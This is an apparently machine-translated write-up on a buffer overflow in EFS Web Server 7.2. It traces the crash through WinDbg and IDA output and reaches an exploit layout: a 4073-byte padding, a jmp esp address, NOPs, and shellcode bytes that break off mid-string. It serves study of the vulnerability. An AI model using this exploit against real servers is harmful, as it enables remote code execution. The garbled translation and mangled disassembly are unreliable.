Introduction
EFS Web server is a software that can manage server files over a Web side, and sending a GET request too long can trigger a buffer overflow vulnerability
Analysis Source: https://www.exploit-db.com/exploits/39008/ Experimental Environment
WinXP SP3 Chinese version
EFS Web Server7.2
Immunity Debugger
WinDbg
Ida
Mona Vulnerability Analysis
Because the author uses the address of the overlay Seh program in ImageLoad.dll, no ASLR, so the use of more stable, open on the pop-up calculator
We will payload the perfect is a bar, buff = "a" *4500
WinDbg add after run, send our 4,500 a
0:005> G
(39C.EBC): Access violation-code c0000005 (first chance) first
chance exceptions is reported before Any exception handling.
This exception is expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp= 02055f40 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000< c12/>efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+ 4ch],0a029a697h ds:0023:4141418d=????????
We see an application exception, you can see the value of the EAX is 0x41414141, then the value of eax we can control it, that specific is not known to overwrite Seh, followed here to throw an exception, resulting in the execution of our shellcode?
So let's see where the value of EAX comes from, Ida Open Sqlite3.dll, navigate to the following function
Signed int __usercall sqlite3safetycheckok@<eax> (int a1@<eax>)
{
signed int v1;//ebx@2
if (A1 )
{
v1 = 1;
if (* (_dword *) (A1 + 0x4C)! = 0xa029a697)//Here is where the exception is triggered
{
lobyte (v1) = 0;
if (Sqlite3safetychecksickorok ())
Sqlite3_log ("API call with%s database connection pointer", "unopened");
}
}
.....
}
See here only know eax from the upper function
Let's look at the stack call
0:005> kv
childebp retaddr Args to child
Warning:stack unwind information not available. Following frames may wrong.
02055f40 61c6286c 000011b8 00001194 0154249c sqlite3!sqlite3_errcode+0x8e
02055f80 004968f4 00000001 00000000 02055FAC sqlite3!sqlite3_declare_vtab+0x3282
02057624 00000000 00000000 0205758c 020575a0 fsws+0x968f4
Based on the first return address 61c6286c we navigate to the _sqlite3lockandprepare function
I still don't see the source of EAX.
. text:61c6284e _sqlite3lockandprepare proc near; CODE XREF: _sqlite3_step+c3?p. text:61c6284e; _sqlite3prepare16+c0?p .... text:61c6284e. text:61c6284e var_20 = dword ptr-20h. text:61c6284e var_1c = dword ptr-1ch. text:61c628 4E Arg_0 = dword ptr 8. text:61c6284e arg_4 = dword ptr 0Ch. text:61c6284e arg_8 = DWORD P TR 10h. text:61c6284e Arg_c = dword ptr 14h. text:61c6284e. text:61c6284e push EBP. text:61 C6284F mov ebp, esp. text:61c62851 push EDI. text:61c62852 push ESI. text:61c62853 push ebx. text:61c62854 Sub ESP, 2Ch. text:61c62857 mov ebx, eax. text:61c62859 mov edi, edx. text:61c6285b mov [ebp+var_1c], ecx. text:61c6285e mov esi, [ebp+arg_8]. text:61c62861 mov DWORD ptr [ESI], 0. text:61c62867 Call _sqlite3safetycheckok
Well, let's see Fsws.exe's 004968f4.
. text:004968d0 sub_4968d0 proc near; CODE xref:sub_4971a0+ef?p. text:004968d0; Sub_497440+29?p .... text:004968d0. text:004968d0 var_4 = dword ptr-4. text:004968d0 Arg_0 = dword ptr 4. Text:004968d0 a Rg_4 = dword ptr 8. text:004968d0. text:004968d0 push ecx. TEXT:004968D1 mov EAX, [Esp+4+arg_4]. TEXT:004968D5 push esi. TEXT:004968D6 test eax, eax. text:0 04968D8 mov [esp+8+var_4], 0. text:004968e0 push 0. Text:004968e2 J Z short loc_496914. text:004968e4 Lea edx, [Esp+0ch+arg_4]. Text:004968e8 push edx. Text:004968e9 push 0FFFFFFFFh. Text:004968eb push eax. Text:004968ec mov eax, [ecx]; EAX is a reference from ECX here. Text:004968ee push eax. Text:004968ef Call SQLITE3_PREPARE_V2
We'll break at the beginning of the SUB_4968D0 function.
The third time We broke, I saw ecx pointing at 41414141.
0:005> g
Breakpoint 0 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=0205718b esi=02057058 edi=0154249c
eip=004968d0 esp=02055fa4 ebp=02057624 iopl=0 nv up ei pl NZ ac po NC
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fsws+0x968d0:
004968d0 push ecx
0:005> dd ecx
02057058 41414141 41414141 41414141 41414141
02057068 41414141 41414141 41414141 41414141
02057078 41414141 41414141 41414141 41414141
02057088 41414141 41414141 41414141 41414141
02057098 41414141 41414141 41414141 41414141
020570a8 41414141 41414141 41414141 41414141
020570b8 41414141 41414141 41414141 41414141
020570c8 41414141 41414141 41414141 41414141
So, when did this 0x41414141 copy onto the stack?
Let's go to the 02057058 next write breakpoint.
Suspended down here.
0:005> g
Breakpoint 1 hit
eax=00000041 ebx=00000132 ecx=02055f74 edx=02057058 esi=015434fe edi=02055f48
eip=00500df0 esp=02055cd0 ebp=02055cd0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
fsws+0x100df0:
00500df0 ff01 Inc DWORD ptr [ECX] ds:0023:02055f74=02057058
We use IDA to look at this address, analysis more, see this Write_char, will associate the upper call sprintf
. Text:00500dde; int __cdecl Write_char (int, FILE *, int)
. Text:00500dde _write_char proc near ; CODE xref:sub_500640+1d2?p
. Text:00500dde ; Sub_500640+1eb?p ...
. Text:00500dde
. Text:00500dde arg_0 = dword ptr 8
. Text:00500dde Arg_4 = dword ptr 0Ch
. Text:00500dde Arg_8 = dword ptr 10h
. Text:00500dde
. Text:00500dde Push EBP
. TEXT:00500DDF mov EBP, esp
. text:00500de1 mov ecx, [Ebp+arg_4]
. text:0 0500DE4 Dec dword ptr [Ecx+4]
. Text:00500de7 js short loc_500df7
. Text:00500de9 mov edx, [ecx]
. text:00500deb mov al, byte ptr [Ebp+arg_0]
. Text:00500dee mov [EdX], Al
. Text:00500df0 Inc DWORD ptr [ECX]
Let's look at the stack information.
0:005> kv
childebp retaddr Args to child
Warning:stack unwind information not available. Following frames may wrong.
02055cd0 00500e69 00000041 02055f74 02055f48 fsws+0x100df0
02055f5c 004f9698 02055f74 005a2859 02055fb0 fsws+ 0x100e69
02055f94 00497753 02055fd4 005a283c 013746c0 fsws+0xf9698
02057624 00000000 00000000 0205758c 020575a0 fsws+0x97753
Indeed 004f9698 within the sprintf function
So let's keep looking at the next return address.
. text:00497745 push edi
. text:00497746 push eax
. text:00497747 Push ecx
. text:00497748 push offset aselectfromswhe; "SELECT * from%s where%s= '%s '"
. text:0049774d push edx , char *
. text:0049774e Call _sprintf
Let's take a look at the final stitching: BP 00497745
The first time we break down, we execute to the sprintf function and look at the parameters on the stack
0:005> DD ESP 02055f9c 02055fd4 005a283c 013746c0 01374670 02055fac 0154249c ffffffff 02057228 00001107 02055FBC 013 746C0 01374670 00000000 00000000 02055fcc 00000000 01375900 656c6573 2a207463 02055fdc 6f726620 7173206d 6261746c 6c2065 6c 02055FEC 74696d69 00003120 00000000 00000000 02055FFC 00000000 00000000 00000000 00000000 0205600c 00000000 00000000
00000000 00000000 0:005> DC 02055fd4//format first parameter i.e., destination address 02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 6c20656c 74696d69 00003120 ltable limit 1..
02055ff4 00000000 00000000 00000000 00000000 .........
02056004 00000000 00000000 00000000 00000000 .........
02056014 00000000 00000000 00000000 00000000 .........
02056024 00000000 00000000 00000000 00000000 .........
02056034 00000000 00000000 00000000 00000000 .........
02056044 00000000 00000000 00000000 00000000 ......... 0:005> DC 0154249c//sprintf last parameter 0154249c 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 015424ac 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 015424BC 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 015424cc 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 015424DC 41 414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 015424ec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 015424 FC 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa 0154250c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
This long malformed string is copied to the stack, which is added before using sprintf format, which causes the stack to overflow.
Look, it's really stitched up into SQL statements.
0:005> DC 02055fd4
02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 7720656c 65726568 6d616e20 ltable where Nam
02055ff4 41273d65 41414141 41414141 41414141 e= ' AAAAAAAAAAAAA
02056004 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa
02056014 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa
02056024 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa
02056034 41414141 41414141 41414141 41414141 aaaaaaaaaaaaaaaa
02056044 41414141 41414141 41414141 41414141 Aaaaaaaaaaaaaaaa
The last to give Sqlite3.dll to deal with the time caused by abnormal
The specific path is as follows, SPRINTF executes the next statement is called the SUB_4968D0 function
Sub_4968d0->sqlite3_prepare_v2->sqlite3lockandprepare->sqlite3safetycheckok (inside this function exception)
So where does the malformed string on 0154249c come from, the replication vulnerability of the memcpy function derived from the SUB_52DF03 function overwrite the return address with a trial attempt
The author uses the method of covering Seh, is it not only to overwrite Seh? (did not execute to the RET command program to collapse it)
Let's see how far the return address is.
Char V15; [SP+20H] [bp-100ch]@3
We're going to overflow the buf distance EBP is 㓟0x100c, that is, 4,108 bytes
Of course the function does not generate a stack frame here
Let's see if the trigger exception gets the 02057058 value on the stack.
>>> Hex (0x02057058-0x02055fd4)
' 0x1084 '
That can overwrite the return address, we try to use 4,150 a
!mona pattern_create 4150
0:005> g ... (c7c.738): Access violation (c7c.738): Access Violation-code c0000005 (first chance)-code c0000005 (first chance) ....
.. eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff eip=38664637 esp=02056ff0 ebp=02057624 Iopl=0 nv up ei pl NZ ac po NC cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 eax=0 0000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff eip=38664637 esp=02056ff0 ebp=02057624 iopl=0 NV up ei PL NZ ac po NC cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 38664637?? ???
Calculate
!mona Pattern_offset 0x38664637
The address is 4073 (why is it smaller than the V15 4180 bytes from EBP, because the length of the SQL statement in front of Ah, O (∩_∩) o haha ~)
But the following payload did not work, the server did not collapse, debugging also returned to the normal
Buff = "A" * 4073 + jmp_esp + "\x90" * + shellcode
So why was the EIP 0x38664637 before?
Follow it and see if it retn to 0x38664637.
What's wrong with our payload?
Further troubleshooting through debugging is to trigger an exception, and also the exception we saw at the beginning,
Let's go back and look at this eax value from 02057058, the value is 391c5a09
0:005> g
Breakpoint 2 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=02055fac esi=02057058 edi=0154247c
eip=004968ec esp=02055f8c ebp=02057624 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
fsws+0x968ec:
004968ec 8b01 mov eax,dword ptr [ecx] ds:0023:02057058=391c5a09
Let's take a look at our shellcode, from the second byte to the next number 4 bytes, just the 0x391c5a09, that means our shellcode is too long, covering the previous function stack frame data, resulting in an exception
shellcode = ("\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" "\xb1\x13\x31\ x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56 "" \xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9 "" \x0b\ X61\xa0\x11\xe7\x03\x41\x84\x7c\xdb